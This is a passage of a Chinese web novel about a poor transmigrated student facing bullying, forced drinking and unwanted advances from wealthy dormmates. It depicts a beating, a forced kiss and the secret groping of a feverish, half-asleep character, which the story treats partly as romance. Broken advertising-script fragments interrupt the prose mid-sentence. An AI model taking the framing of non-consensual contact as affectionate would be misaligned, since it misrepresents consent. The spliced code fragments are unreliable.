“对不起,求求你,不要打了......”少年的脸颊通红,重叠的巴掌印让他那张漂亮的脸蛋像发面馒头似的肿了起来,嘴角都沁上了鲜血,但抓着他头发的男人没有停手,一下一下慢条斯理地扇在他脸颊上。 “你不是想要钱,你今天能活着走出这扇门,你要多少老子都给了。”一样年纪的同学,截然不同的社会地位,泾渭分明的处境。 江林知道这可能是某位对自己的下马威,想让他认识到自己的处境,乖乖地跪在地上给他们做狗,任由他们作践,然后换取所想要的一切。 原主就曾经被驯服,甚至完全没意识到自己的沉沦,商学院所有的贫困生都是玩物没有例外,所有人觉得这有什么不对的,因为这是传统啊。 江林不喜欢这样的传统。 苏溪视线都模糊不清起来,脸像是要被人打烂了,火辣辣的,都感觉不到疼了,只是嘴里的血腥味却越来越重。 学长学姐们说忍一忍就好了,毕业就好了。 但他觉得自己快忍不下去了,好多人看着他,他现在的样子一定很狼狈吧,跪在地上像只摇尾乞怜的狗,毫无尊严啊。 他的父母看见这样的自己,大概会后悔生下这个儿子吧...... 苏溪的支离破碎的自尊心,被耳边嬉笑打趣声彻底弄碎了,他都想要就这么死掉了。 “杨素荷。”苏溪鼓膜嗡鸣,因为麻木,连扇在脸上的巴掌停下了都不知道,直到视线逐渐变得清晰,他看见一只手抓住了男人的手腕。 那只手很白,腕骨微凸,手腕和杨素荷的比甚至小了半圈,但他稳稳地扣住了杨素荷打人的手腕。 苏溪愣了愣,顺着他的手往上看去,却看见了一个熟悉的面孔,是那个在论坛上被贬低得一无是处的“废物”。 此刻却挡在他前面。 杨素荷微微挑眉,脸上的神情似笑非笑起来,挣开江林的手,揉了揉微红的掌心,扯了笑容:“好久不见啊。” 江林没看地上的苏溪,只是看着杨素荷,眼底充满了直白的厌恶,这个杨素荷就是和李炎诞告密的那位“好友”。 杨素荷军训的时候接近原主,顺利和没有心眼子的原主成为了朋友,没想到一句抱怨,被杨素荷添油加醋地告密,导致原主一直被针对。 “这么久不见,你还是一样地讨人厌。”江林面无表情地看着他。 杨素荷表情微僵,笑得有些勉强:“你不要以为我真的不敢弄你。” “嗯。”江林轻笑一声,不以为然,没理会他的威胁,:“崔嘉树在哪?” “你知道嘉树哥找你,你还敢来?”杨素荷扫了他一眼,眉头微蹙。 “走吧。”江林懒得理他的问题。左右他只是一个狗腿子而已。 这场闹剧戛然而止,倒也没人觉得意外,将视线投入其他的热闹处。 苏溪跪在地上,双手撑地,鲜血顺着唇角溢出,淌入脖颈,他的视线又逐渐湿润,望着那道背影,像是泛起了光晕,眼眶滚烫,但是很快他就被“清理”了。 14.江林再次看见了崔嘉树,他没有穿得多正式,他亲手举办的舞会,却成为了最不守规矩的那个。 宿舍f3里只有秦锐清不在这里,听李炎诞在寝室抱怨,说是去飞去国外,要下个月才能回来,三害少了一害。 崔嘉树穿着咖啡色的毛衣,下身休闲牛仔裤,正在洗着扑克牌,微微弯着腰,依稀能瞧见衣领下的锁骨。他唇角温柔地噙着笑,看见他来了,稍稍弯了弯眸子,朝着他招了招手,隔着不少人,崔嘉树脸上的微笑格外晃眼。 江林觉得他像是插满了孔雀羽毛、花枝招展的山鸡。 李炎诞坐在另外一条沙发上,双手环抱,脸很臭,像是谁欠了他两百五似的,偌大的客厅内,十几个人姿态各异的站着或者坐着,纷纷朝着江林看过来,那瞬间他成为了焦点。 “小星。”崔嘉树率先开口,放下手中的扑克牌,手指上戴了一颗润白的翡翠戒指,眉眼含笑。 杨素荷带着他走到崔嘉树身边,自顾自地说道:“苏溪那小子不守规矩,我正教训他呢,没想到这位同学又爱心泛滥,想要帮忙怎么办啊。” 江林手上重新戴上了白手套,双手微微握紧,面容平静,双瞳又似有了波澜,他没有否认杨素荷的说法。 他们都心知肚明,就算江林不上套,也有很多种方法让他遵守他们的‘规则’。 江林便也懒得折腾了,反正早晚都会来这么一遭。 崔嘉树故作思忖,然后才露出一点恍然之色,扫了一眼江林紧绷的表情,唇角勾起笑:“小星,苏溪是杨素荷带来的人,但是......他偷了我的东西。” “钱是杨素荷赔的,所以你要问他。” 杨素荷收到了他的眼神,立刻接话道,“大家都是出来玩的,那些小钱我不在乎......看在我们是朋友面子上,这些酒喝完,我就不让他赔钱怎么样?” 江林扫了一眼桌上琳琅满目的酒水,甚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 至身后的墙壁上也都是价值不菲的国外货,众人聚焦在江林身上,眼神有些玩味。 在这一届贫困生中,只有江林一人独树一帜,从未参加过他们的聚会,也从未在他们面前露出过丑态和低俗的欲望,这让他们越来越兴奋。 这些什么都不缺的人,就是缺点乐子。 李炎诞沉着眉,唇角因为江林微微紧绷的神情而翘起,他倒是想要看看江林这次要怎么自保。 “这么多酒,我一个人不可能喝完。”江林平静地道,这些酒都够泡他的尸体了。 崔嘉树见状,轻轻摆手,旁边侍从端着托盘上前。 崔嘉树站起身来,款步走到他身边,手按在他肩膀上,低声在他耳边说道:“小星,换上这套衣服,我帮你解决这些酒。” 他好心地给了江林另外的选择。 江林目光一落,托盘上的衣服一眼就能瞧出端倪,白色的丝袜,兔子头饰,还有穿在身上就会露出内裤的圣诞情趣红裙。 “小星长得这么漂亮,穿上一定很好看的。”他的声音极为笃定,含着温和的笑意,耳边都是他的呼吸热气。 他的声音很低,只有两人能听见。 江林偏头扫向他,望着那张生得的确玉树兰芝的脸,可惜长了一颗沁满坏水的心,他不冷不淡地勾起唇角:“我觉得你穿会更好看,正好满足你的变态私欲,崔嘉树。” 两人说的话,没有第三人听见。 崔嘉树早就知道江林的性格并非那般乖巧,但见他这么直白又具有攻击性,不由一怔,旋即笑容更加灿烂起来,捏了捏他的肩膀,笑着说道:“小星,加油啊,你赢了我穿给你看。” 江林扔开他的手,黝黑的双眸冷淡地弯了弯,像是在礼貌微笑,然后无情拒绝:“不需要,真的很恶心。” 被人骂恶心还真是头一遭,崔嘉树收回手,舔了舔唇,被那冷淡的笑容弄得有些口干舌燥,眼底的兴趣越发浓厚,脑海中已经在幻想江林穿上女装的模样了。 李炎诞被崔嘉树和江林两人的互动看得满脸暴戾,只觉得碍眼,同性恋真的太令人不适了。 李炎诞觉得自己都想吐了,第一次觉得崔嘉树的笑脸看起来这么可恶。 “大家都是出来玩的。”江林转身看向杨素荷,生出几分笑脸,在声色场所里,他不见半点欲望的丑恶,目光清明,像是染不黑的白纸:“我们来玩游戏怎么样,谁输谁喝。” 杨素荷犹豫了一下,看向崔嘉树。 崔嘉树稍稍颔首,不管什么玩游戏,从小一门心思投在学习上面的乡村少年,怎么会是他们这些人的对手呢。 “玩什么我定。”杨素荷还不要脸地提出了这样的要求,几乎阻断了江林的所有的退路。 可能某些游戏江林从前根本没机会接触。 落地窗外灯火万千,江林独自站在一群人对面,身后是黑沉沉的夜,前面是一群试图将他拉入深渊的豺狼虎豹。 他点头答好,慢吞吞地摘下自己的白手套。 李炎诞的目光落在江林的手上,那双手很修长,五指纤细,他喉结滚动,想回味被五指环绕的感觉,却发现怎么也想不起来。 连他指腹是不是有茧都记不起来了。 众人期待,想看垂死挣扎的小白兔,主动套上项圈的时刻。 14.第14章 16.舒缓的音乐,灯光下两对男女正在跳着华尔兹,舞裙飘飘,从最简单的骰子,转战到扑克...... 杨素荷的表情越来越差,烦躁的扔掉手中的扑克牌,因为喝多了酒,脸红脖子粗的,眼中不甘愤恨的情绪越发明显,他说话有些含糊,“你是不是出老千?!” □□瓶未开封的酒,江林喝了两杯,其他的都是杨素荷喝的,这些他都玩过,就算没有金手指,但玩杨素荷还是玩狗一样,他给他推过去一杯酒:“喝吧,你又输了。” 崔嘉树望向江林的眼神越发炙热了几分,站在他身后真心实意地赞美道:“好厉害啊,小星。” 他就站在江林身后,自然知道他根本没可能出老千。 “不是,杨素荷你到底行不行啊,这都玩不过,你别混了吧。”有人嫌弃杨素荷丢脸,声音不大不小的讽刺道。 杨素荷喝得想吐,头脑发涨,瞪眼看向说话的人:“你他妈的自己来试试?” 那人撇撇嘴,嘀咕了一句管我什么事儿。 聪明人都看得出来江林这人有两手,不可能自讨没趣。 因为在赌酒,最方便还是简单的玩法,江林喝了点酒,暖气烘托下,眉眼间染上了醉红,脸颊泛红,眼神却冷淡,低声问:“还玩吗?” 杨素荷不想玩了,看向崔嘉树,崔嘉树却没有表态,意思是继续。 他双眼通红,面目几乎狰狞,咬牙切齿:“玩!” 原本众人的兴致勃勃,到看见杨素荷节节败退之后的意兴阑珊,看向杨素荷的眼神越来越鄙夷,觉得他丢了他们的脸,望向江林的眼神却越发深邃。 杨素荷喝吐了一次,江林才输一把,端着满满一杯朗姆酒,他干脆利落的端起酒杯,坐在长桌前,所有人的视线都落在他身上。 少年微微仰着头,下颌线柔软又凌厉,暴露在空气中的喉结一点点滚动着,一杯酒下肚,喉咙和肺腑都染上了灼烧感,这种喝法是会出人命的。 他的身体不胜酒力,耳根通红,圆润的双眼都泛起了水光,眼尾沁红,微微仰着头,眼神淡漠又不屑,白色的西装一丝不苟,柔弱的长相,骨子里却像是生满了刺。 杨素荷脸颊都变成了紫红猪肝色,后来,怕闹出人命,崔嘉树大发慈悲的让人送去了医院,他顺势坐在江林旁边,撑着下巴看着他:“杨素荷害你被小炎误会了那么久,现在出气了嘛?” 江林用微凉的手背量了量脸颊温度,对于崔嘉树邀功的说法嗤之以鼻,手按在骰子上,抬眼,目光凌澈,“你要玩吗?” 崔嘉树摇头,视线落在江林的红润饱满的唇上,笑着道:“我不玩,今天的游戏结束了,杨素荷输了,苏溪的事情到此结束。” 江林抿了抿唇,虽然强装冷静,但脑子有些沉,游戏结束的话音落下,他内心紧绷的弦也随之落下,过于想要表现得清醒,所以咬字的时候一字一顿,显得极为可爱:“那我......可以走了吗?” 此刻,这场关于围剿小白兔的行动暂时以失败告终。 “等下,我有一个东西要给你,你跟我过来。”崔嘉树温声说道,起身想要牵起江林的手,只是握了一瞬间,就被他甩开了。 江林绷着一张冷脸,“我自己可以走。” 崔嘉树无所谓的耸耸肩,带着他往阳台的隔间走去,李炎诞见状眉头紧皱,想看看两人是不是说他的坏话,所以跟了上去。 江林眼皮被自己揉红了,才缓解一些酸涩感,避开那些人的目光,崔嘉树倚在栏杆上,虚虚拉上门,盯着江林的脸。 崔嘉树是百分百纯血同性恋,男人对他的性/吸引力很大,他很喜欢江林这种漂亮男生。江林很矛盾,他看起来并不是一个爱心泛滥的人,但偏偏那么简单的陷阱,他也愿意跳下来。 江林冷着那张美丽柔弱的脸蛋,眉目不羁和冷然,仿佛一团火烧得他挠心挠肺的,很像吃吃江林的嘴是和他的长相一样软,还是像性格一样硬呢。 崔嘉树从前也会玩一些关于“爱情”小游戏,但从来没有一个人会让他有想把他吃掉的冲动。 外面的风有些冷,针扎似的吹入脑袋,江林感觉更加不舒服了,他催促道:“什么东西,我要走了。” 崔嘉树朝着他靠近两步,凝视着他蹙起的眉头,伸手攥住他冰凉的手指,在他挣扎前适时开口:“小星是不是很讨厌在这种聚会?” 江林的手别大力抓住,挣扎不开,便放弃了,崔嘉树的手比较热,被直接当成暖宝宝了,“你愿意放过我?” “不愿意的。”崔嘉树微笑对视,嗓音微沉:“但我也想让你开心的和我们玩游戏。” “小星这么厉害,大家一定会很喜欢你的。” 江林小脸都扭曲了,谁愿意和他们玩呢。 他刚想张唇反驳,却被崔嘉树突然压下来的唇吻住了。 江林双眼都瞪大了几分,酒精作用,脑袋也被冷风吹懵了,第一时间没反应过来,也就两秒,嘴唇被崔嘉树吸了几下,像是再吃什么甜美的果冻,下一瞬,他的舌头便急不可耐的往江林嘴里探。 “啪。” 很响亮的一巴掌扇在崔嘉树的脸上。 这下轮到他愣住了。 江林反应过来之后,抽手,扇脸,骂人一气呵成:“你有病啊,崔嘉树!” 若是李炎诞被这么扇巴掌,早就暴起伤人,但崔嘉树却丝毫不见生气,似乎早就预料到江林会动手,还朝着他挑眉笑了笑,舔唇似在回味什么:“小星的嘴巴很软,就该被亲烂的。” 江林:...... 他一时间找不到合适的语言来形容此刻崔嘉树表现出来的变态。 崔嘉树顶了顶发酸的腮,目光如炬:“我甚至等不及想要上你了。” 江林掀起眼帘,因为咬牙的动作,显得下颌线凌厉起来,被气笑了,端着一张秀气漂亮的脸,吐出一句糙话:“回去操/你/爹,别来烦我。” “我爹没你好看。”崔嘉树煞有其事地说道,再上前一步,江林便往后退一步,他便站定了,通知了江林一个噩耗:“我下周会搬回寝室。” 江林的表情凝固,崔嘉树自顾自地笑起来:“期待吗?” 崔嘉树都要等不及了。 江林深深看了他一眼,干脆地转身离开,脸上的愤愤之色散去,只剩下冷漠,打开门就看见杵在门口的李炎诞。 李炎诞脸上的表情非常之精彩,似听见了什么炸裂的讯息,不曾想原来同性恋之间的谈话这么劲爆? 也是了,都是男人,心思也不必遮掩。 江林像是没看见李炎诞,直接往外走去。 李炎诞蹙眉,他也是今天才知道杨素荷和江林之间的事情,他更惊讶于江林对待崔嘉树的态度,和自己的截然不同。 面对自己的时候,江林会顺着自己,装成一个乖顺学弟的模样,无害又天真。 所以......其实江林还是暗恋自己的? 崔嘉树也瞧见了门口偷听的李炎诞,摸了摸被扇红的脸,浅棕的瞳孔看着他淡淡的笑:“小炎,偷听可不是一个好习惯。” 李炎诞不以为然地勾了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 勾唇。 “你想不想知道和小星亲嘴是什么感受?”崔嘉树往里面走了两步,两人面对面站定,他像是在炫耀什么:“很软,很香的,感觉像是在吸加了奶的草莓果冻......” “行了。”李炎诞额前青筋凸了凸,实在受不了崔嘉树这个怪癖,到底谁想知道和男人亲嘴什么感觉? 崔嘉树止住话头。 江林走出大厦,迎面的凌厉寒风吹打着他的外套,在冷风中他看见了一道纤细的身影,那人踉踉跄跄朝着他走来。 苏溪已经穿上了正常的衣服,卫衣牛仔裤,整张脸肿得像是血馒头,他一直在等江林出来。江林像是没瞧见他,径直从他身边走过。 “孟......孟南星,请等下。”苏溪叫住了他。 江林脚步一顿,有些疲惫地揉了揉眉心,脑袋又开始晕了,感觉今夜回去大概率会感冒。 “今天真的谢谢你,你没事吧,我......”苏溪追上来,满脸伤却可怜兮兮的关心江林。 “就外貌上来看,你好像比我更需要看医生。”江林眼神掠过他的伤,冷静地说道:“不用感谢我,你的感谢对我来说可能是麻烦和负担。” 苏溪瞬间便不敢再开口了,目送他离开,才失落的坐上车,那么勇敢的少年,不该是他这样龌龊的人能够攀附的。 16.就像是江林预料的那样,第二天江林便着凉感冒。 连昨晚李炎诞什么时候回宿舍的他都不知道,头疼欲裂,身体发虚,冷汗直流,嗓子也干裂似的疼。 从床上爬下来都差点腿软摔倒。 江林自己美团买了退烧药和消炎药,拿到外卖后,李炎诞也起来了,恰好看见了他手中的药盒。 “你感冒了?”李炎诞诧异地问。 江林提不起精神,神情恹恹,说话声沙哑无力:“嗯,有点发烧。” 李炎诞下意识地说道:“我送你去医院?” “谢谢,不用了,我买了药回来,下午睡一觉就好了。”江林拒绝了他的好意,烧开水泡药,感冒之后完全不想理人。 苦又甜的药味在寝室发酵,李炎诞依旧不喜欢被人拒绝,看在江林感冒的份上没有生气,心中虽然因为曾经可能误会了江林有些愧疚,但并不多,也不会道歉。 “啧。”江林尝到苦甜的药,黛色的眉头蹙起,双眼变得泪汪汪的,发出一声干呕,药片好像贴在他嗓子眼没下去。 他生理眼泪都被逼了出来,下一瞬额头上附上一只手,江林湿润的眼眸睁开,抬头对上李炎诞低头看着他,不耐烦的脸,“如果高烧的话,还是去医院比较好。” 江林懒得躲,任由他测量自己的温度,靠在椅子上,湿红着眼看着他,自顾自的点头说:“我感觉我只是低烧。” “你是笨蛋吗?感觉有什么用?温度计没买吗?”李炎诞的凶狠的语气,但是音量越来越低,对着那张可怜生病的脸说不出太重的话。 “没有买,我没有钱,你知道的,我是个穷鬼呀。”江林说话带着点鼻音,软乎乎的。 “别撒娇啊你。”李炎诞不自然的移开视线,收回手,嘴硬道:“看在我们同学一场的份上,我让私人医生来一趟,你别误会......” “嗯嗯,知道了知道了,你是直男,不会喜欢男人,不用担心我不会爱上你,OK?”江林敷衍地说道,打了个哈切爬上床,没有上二层睡,而是睡在了下面的床铺上。 李炎诞沉沉呼出一口气,第一次做好事没报酬的,心情还不太美妙,一直盯着江林熟睡的脸。 15.第15章 17.江林整个人迷迷糊糊的状态,想醒来,但是眼皮沉重,根本睁不开眼,感觉耳边有嗡嗡对话声,又听不清晰。 等再次有一点意识的时候,视线中模糊出现李炎诞不耐烦的脸,他手指正往他嘴里探,嘴里又开始泛着苦味。 李炎诞的手指被江林湿软又滚烫的唇含着,他鬼使神差的借着喂药的借口,轻轻拨弄了一下江林的舌头。 因为生病,江林的体温偏高,嘴唇红又软,整个人有一种任由摆布的虚弱感。 又在江林睁眼的瞬间,他的眼神变得凌厉,似乎非常不耐烦,低声嘀咕着:“把药吃了,别病死在寝室里,晦气.....” 江林骨头都病软了,浑身没什么力气,虚虚看了一眼外强中干的李炎诞,像是支撑不住似的额头磕在他肩膀上,从鼻腔发出一声轻哼:“好苦......” 李炎诞身形一僵,拿起一瓶水,递到江林唇边,声音严肃冷酷,“喝水。” “哦。”江林手撑在床铺,拉松懒散的眼皮微微一撩,目光和李炎诞对视上。 江林没有掩饰眼中的调侃和漫不经心,直勾勾盯着李炎诞,唇角勾起一抹笑,轻声问:“炎哥这么好心,是下次还想喝小米粥吗?” 李炎诞虎目一瞪,眉头狠狠蹙起,但心中却莫名心虚,他强撑冷脸:“你在胡说八道什么?还要不要喝水了?” “要喝的,手上没劲,麻烦炎哥喂我一下。”江林懒得继续装,有气无力地说道。 李炎诞骂道:“你他妈的还要老子伺候你不成?!” 骂完之后,拧开瓶盖,将瓶口递到江林唇边,江林唇角笑意越发深了,喉咙干痛。 他迫不及待地喝了几口,但又因为喉咙不适,导致难以下咽,水顺着唇角流下,淌下脖颈,瞬间就打湿了江林的衣襟。 李大少爷哪里伺候过人,只是猛猛灌水,丝毫没察觉到江林的难以下咽,而且江林一直盯着他,李炎诞光顾着看他来着,手上没轻没重。 “咳咳。”江林呛到了,鼻头一阵酸涩,眼圈红了。 李炎诞放下水瓶,下意识德用手擦拭他唇角颈侧的水渍,江林微微仰起下巴,任由他的指腹擦过他喉结和肌肤,甚至顺着锁骨往下抹去,睡衣湿了一大片。 “......我靠。”李炎诞手指骤然缩紧,才发现自己此刻的动作有多暧昧,另外一只手还扶在江林无力的腰上,衣襟都开了大半。 江林眯起眼看他,轻笑一声,故意刺激道:“炎哥如果现在趁人之危,我是没力气拒绝的。” “谁要......趁人之危?!”李炎诞舔了舔唇,说话有些中气不足,他往后躲了躲,觉得眼前的人有些危险。 江林像是一只慵懒魅惑的猫,眉眼间自带一股风流的松弛感,勾得人心痒痒,衣襟大开,敞着大片雪白的肌肤,沁了水,生了红,越发显得暧昧不清。 李炎诞应激地收回手,江林便顺势躺回了床上,轻轻扯了一下湿了的睡衣,嫌弃地撇了撇嘴,就要脱掉。 “你要干什么?”李炎诞头皮发麻的看着眼前的少年,他正在拽自己的衣服。 “脱掉,湿了。”江林认真地说道。 他大大方方的脱了上衣,李炎诞却有些不敢看,其实直男之间打球的时候,经常会掀起衣服擦汗,或者脱掉上衣都是正常的。 但李炎诞不敢看江林,生病的江林明明没有任何的攻击性,可他莫名的害怕。 江林重新裹紧了被子,只留半张脸露在外面,没几分钟又睡着了,露出恬静的睡颜。 李炎诞站在他跟前,定定盯了很久,才进了厕所,洗了一把脸,他依旧不懂自己为何会选择留下来照顾江林。 明明江林的死活和他毫无关系。 他在厕所抽了半个小时的烟,才像是为自己找到借口似的,自顾自的安慰自己,他和江林的关系要比崔嘉树更亲密,毕竟他被下药的时候江林帮了他。 现在江林生病,他置之不理是不是太不近人情了? 而且他和江林的关系,算是比较亲密吧,毕竟两人那啥过...... 李炎诞揉了揉脑袋,有些别扭的想到。 他将棕色窗帘拉上,寝室陷入昏暗之中,李炎诞像个心虚的小偷,蹭到江林床边,犹豫了很久,轻轻握了握江林的手。 在察觉到江林手心温度偏冷,他又在心中给自己找到了借口,顺势脱掉外套,把江林挤进了里面,他也躺了进去。 江林毫无察觉,手被人握着,双腿也被人夹住,甚至觉得阵阵发寒,只往暖处蹭,头靠在李炎诞胸前。 李炎诞躺进了来的瞬间就想滚下去,在察觉到江林的靠近时,又生出了无限的勇气,双臂环着江林的腰,不让自己掉下去,靠得这么近,他又闻到江林身上的香味。 他喉结上下滚了一瞬,吞咽口水的声音很细微,可在安静的环境下却极为明显,崔嘉树的话在脑海里回旋,让他下意识的抱紧了冒着虚汗的少年。 “操......”李炎诞闭了闭眼,脖子上青筋凸起,感觉自己被鬼上身了,才会偷偷抱着江林睡觉。 可是抱住,便也舍不得松开了,手掌按在他柔韧的腰上,有一层薄薄的肌肉,掌心在发烫,肉贴着肉,第一次李炎诞感觉对男人没这么恶心,拥抱也变成了一种舒服的享受。 江林身上很香,没有男人的汗臭味和脚臭味。 李炎诞缓缓的凑近,鼻尖嗅着他的肩膀,仿佛要追寻那股香味哪里散发出来的,呼吸越来越重,理智和本能在互相拉扯。 江林是睡着了,不是死了,被像个火炉的李炎诞抱了十来分钟就有所察觉到,当肩膀传来湿润的舔舐,他彻底清醒了几分,发出一声轻哼。 李炎诞便僵住了动作,就在江林以为他会落荒而逃的时候,李炎诞更加用力的抓住了他的手腕,拿纸欲盖弥彰的擦了擦他的肩膀和脸侧的汗。 江林浑身无力,没力气挣脱,精神不济只能放任他继续抱着,但也知道李炎诞现在大概只敢做一些偷舔的行为,他不会也不敢打破自己固有的直男认知。 江林又放心睡了。 李炎诞确实不敢,所以他只是像个黑暗中的偷窥者,心虚抱着江林,心中还在不断给自己的行为找借口,想要将这定义为‘兄弟’情谊。 18.江林傍晚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再次醒来,寝室里只有他一个人,他穿上了一件不属于他的柔软睡衣,发丝凌乱,发尾微微翘起,眼神有瞬间的迷茫,很快恢复清明。 他想起什么,拉下自己的左肩的睡衣,在莹白的肩膀上瞧见了一小撮被吸吮的红斑。 江林碰了碰那处红斑,没有察觉到疼痛,面无表情的重新遮住肩膀,用手搓了搓脸,让自己更加清醒几分,病还没好全,起床吃了个干巴巴的面包,拿着浴巾去浴室洗澡。 江林没有朋友,手机里不会有关心的消息,他也不觉得孤单和寂寞,毕竟每个人都是独立的个体。 他洗漱完便躺在床上看书,做了几套英语听力,很多他脑海中很多知识也被系统视作金手指被封锁了,明明从前他会许多语言的,现在却要重头再来。 黑夜渐凉,江林吃了药又精神不济,便熄灯准备上床睡觉,因为白天睡得太久,一时半会没睡着,便听见了开门声。 江林躺着没动,放轻的脚步声去了浴室,他依稀闻到了一丝酒味。 这人只可能是李炎诞,秦锐清在国外,崔嘉树要下周才搬回来。 浴室的灯亮起,缓缓传来水声,李炎诞正在洗澡,江林脸上没什么表情,将被子裹得更紧些,已经没了睡意,他很讨厌和喝了酒的男人打交道。 吧嗒一声,浴室灯关了,借着从窗外倾泄而出的月色,李炎诞磨磨蹭蹭到了江林床边,以为江林已经睡着,驾轻就熟的掀开被子躺了进去,伸手抱住江林,微微拉开他的衣襟。 “炎哥,这是在干什么?”江林冷淡的声音响起,半点没有睡觉的含糊感,十分清醒。 江林翻手按住环住自己腰的手腕,偏头看过去,阴影中李炎诞的神情看不真切。 李炎诞感觉自己心脏跳到了嗓子眼,有一种偷/情被抓的紧张感,他轻咳一声,想要装醉糊弄过去。 “别装醉,喝醉了怎么能这么准确的爬上我的床?还是干净洗漱完的状态。”江林截住了他的话头,冷静分析。 李炎诞恨得牙痒,想要后撤,又发现江林攥着他的手腕,让他退无可退。 “只是照顾你而已。”李炎诞找借口:“你一直在喊冷。” 江林猝不及防的轻笑一声,像是嘲笑:“你以为演电视剧呢?” “李炎诞,我肩膀上的吻痕,是不是你嘬出来的。” 李炎诞被他直白的问题弄得溃不成军,脑袋都炸了,他弄了吻痕吗?他不是就闻了几下吗? 他真嘬了?靠啊! “不是。”李炎诞否认,强硬的抽出自己的手臂,转身要走。 江林叫住他,“不是最好,炎哥,你知道我有喜欢的人吧,是个女生。” “被男人亲的话,对于我们这种直男来说,很恶心吧,炎哥?” 李炎诞捏紧了拳头,就算再没情商,也知道江林在说他恶心,他转身看向江林,恶狠狠地反击道:“你觉得恶心?但我看你被崔嘉树亲的时候,好像挺享受的。” 江林却半点不生气,“所以这是你舔我原因?” 李炎诞咬紧牙关,咬牙切齿地说道:“说什么舔......你把我当狗吗?” 16.第16章 “我可不敢让炎哥当狗。”江林坐起身,望着站在月光下,大片阴影遮挡住身体的男人,如果李炎诞没喝酒,也许江林会装睡,任由他靠近,玩一些“直男”的游戏。 但喝了酒的李炎诞,在江林眼中的危险值便提升不少,从蠢狗变成了醉狗,不太合适他靠近了。 江林一口一个炎哥,嘴上说的多么尊重似的,可眼神却没有半点尊敬的意思,病怏怏的眉眼,清明的很,带着对他的警惕和提醒。 “下周......崔嘉树就要回寝室了。”李炎诞胸膛起伏一瞬,心中的危机感骤然升起,又被自己死死压住,他自顾自打开灯,恶狠狠地盯着江林,试图用眼神虚张声势,眼神恶劣:“如果你敢和崔嘉树在寝室乱搞,我一定会弄死你的。” 江林被强光晃了下眼睛,眯了眯眼,靠在床前,眼神恹恹,轻嗤一声,“为什么不弄死崔嘉树,昨天你也看见了吧,是他亲的我。” “你......”李炎诞那威胁的话一时间语塞,又接着说道:“不管是谁,都不行。” “哦,那以后炎哥记得一视同仁啊。”江林的眼神说不出来的玩味,要知道在原剧情中最爱在寝室搞的就是李炎诞本人,现在他说出这种话,怎么不算好笑呢。 “哼,当然了,天王老子来了,也得守规矩。”李炎诞自信满满地说道。 “我好像忘记喝药了,炎哥,可以给我倒杯水吗?”江林突然想起自己好像忘记喝药了,冷不丁地提出要求。 李炎诞下意识的站起身,拿起水杯,然后定住在原地,回头看向江林,少年正在弯着眼,目光相撞,他生出了一股难言的羞耻感。 “你在命令谁?”李炎诞一怔,捏紧了杯子,为自己下意识的动作感觉到脊背发凉,又强迫自己冷静下来,面无表情地看着江林。 “请求炎哥帮帮我。”江林觉得眼前自欺欺人的李炎诞,唇角泛起一抹微笑。 李炎诞重重地将杯子放在桌上,拿起一件外套,转身出门,扔下一句:“自己没长手吗?老子还有事!” 李炎诞夺门而出,门都没关。 江林只能重新穿上拖鞋,慢悠悠将门关上,给自己倒了一杯水,喝好药,满意地睡觉了,再也不用担心李炎诞半夜回来对他“图谋不轨”了。 圣诞节过后没几天,就是赵云月的生日。 江林原本都忘记了,那一直在装死的系统提醒他,记得按照剧情,给赵云月送去礼物,否则会受到惩罚。 “我还以为你已经被割了舌头呢。”江林眼底闪过一丝冷冽。 系统不敢说话,一边是他的老大,另一边是他的跟随了很久的宿主,他左右为难,又毫无办法。 江林实在不想花钱,因为他真的很穷,学校一碗拉面都要七八十,兼职赚的钱可以说是杯水车薪。 “我如果不送会怎么样呢?”江林拨弄了一下蓝牙耳机,心中冷漠地询问。 “系统会判定您消极任务,违背人设,进行电击惩罚。”系统说得吞吞吐吐,毫无底气。 江林没心情再和系统说话了,面容冷峻地挑选礼物,明晚就是赵云月的生日,剧情中原主花光了所有积蓄给赵云月准备礼物,就算已经被同性操了百来回,还是有一颗直男的心呢。 自然这次送礼,也会被F3发现,在一片无脑小黄文里,会发生什么,大家懂得都懂。 所有人、所有剧情,不过是主角进行play的工具而已。 由于现在江林和f3的交际并未发展得那么深,他也不怕被人发现暗恋赵云月。 江林自然不会花大价钱去买奢侈品,买了个一百来块的小白熊,两个巴掌大,就算是他仁至义尽了。 他的病刚好,真的不愿意出席这种社交聚会,但好在赵云月不算是富二代,最多算是小康家庭,并没有那么大的排场,只是租了一个餐厅进行聚会,邀请了一些相熟的人。 江林穿了件黑色的卫衣,脖子上有一根细细的红绳,下面坠着一块白玉观音牌,观音像模糊,不算什么精品,但是家里留给原主的东西。 原主从小带到大的东西,只是因为进入大学之后,被人小声说了一句劣质廉价,便再也没戴过,藏在抽屉深处,只有回老家的时候才会拿出来戴。 昨天江林在寻找有什么礼物可以送给赵云月的时候,发现了这块玉牌,便重新戴上。 江林记得自己很久之前,似乎也有一块观音玉牌,记忆太久,忘记是被弄丢了,还是弄碎了。 夜风猎猎,窗外游泳池的水面被吹出阵阵涟漪,说话间哈气都卷起白雾,骤然降下的温度,让人一时间难以适应。 江林的小熊花了十几块钱包装,脑袋上还系了一个红色蝴蝶结,他排队放好礼物,看着穿着露肩晚礼服的赵云月,她露出姣好的锁骨曲线,白色亮片鱼尾裙衬得身材凹凸有致...... 江林打了个冷战,摸了摸自己的加绒卫衣,真心为她的身体感觉到担忧,很快赵云月走到他身前,伸手抱了抱她。 “生日快乐小月。”江林满心满眼都像是盛满了这个漂亮幸福的寿星,他有些不好意思地脸红,“对不起小月,我没钱给你买贵重的礼物,希望你不要嫌弃。” 赵云月扫了一眼他的礼物,心中的确是嫌弃的,毕竟其他来参加生日会的同学,准备的礼物都是几千上万的,但一瞧见江林那张漂亮羞赧的脸,亮晶晶的黑眸,生不出嫌恶。 “没关系,你能来,我就很开心了。”赵云月红唇勾起,温柔地说道:“外面太冷,你先进去,随便坐,不用拘谨哈。” 江林腼腆地笑了笑,:“好,你先忙,不用管我。” 小餐桌的布置,大概是两个人的位置,大家都很快找到了自己的伙伴,江林选了个角落的位置,拿出自己的手机,开始百词斩记单词。 在原本的剧情中,赵云月这次生日会不欢而散,她新交的男朋友有老婆,他的老婆闹到了学校里面,弄砸了生日会,让赵云月颜面扫地。 所有人都给赵云月打下了小三、拜金的标签。 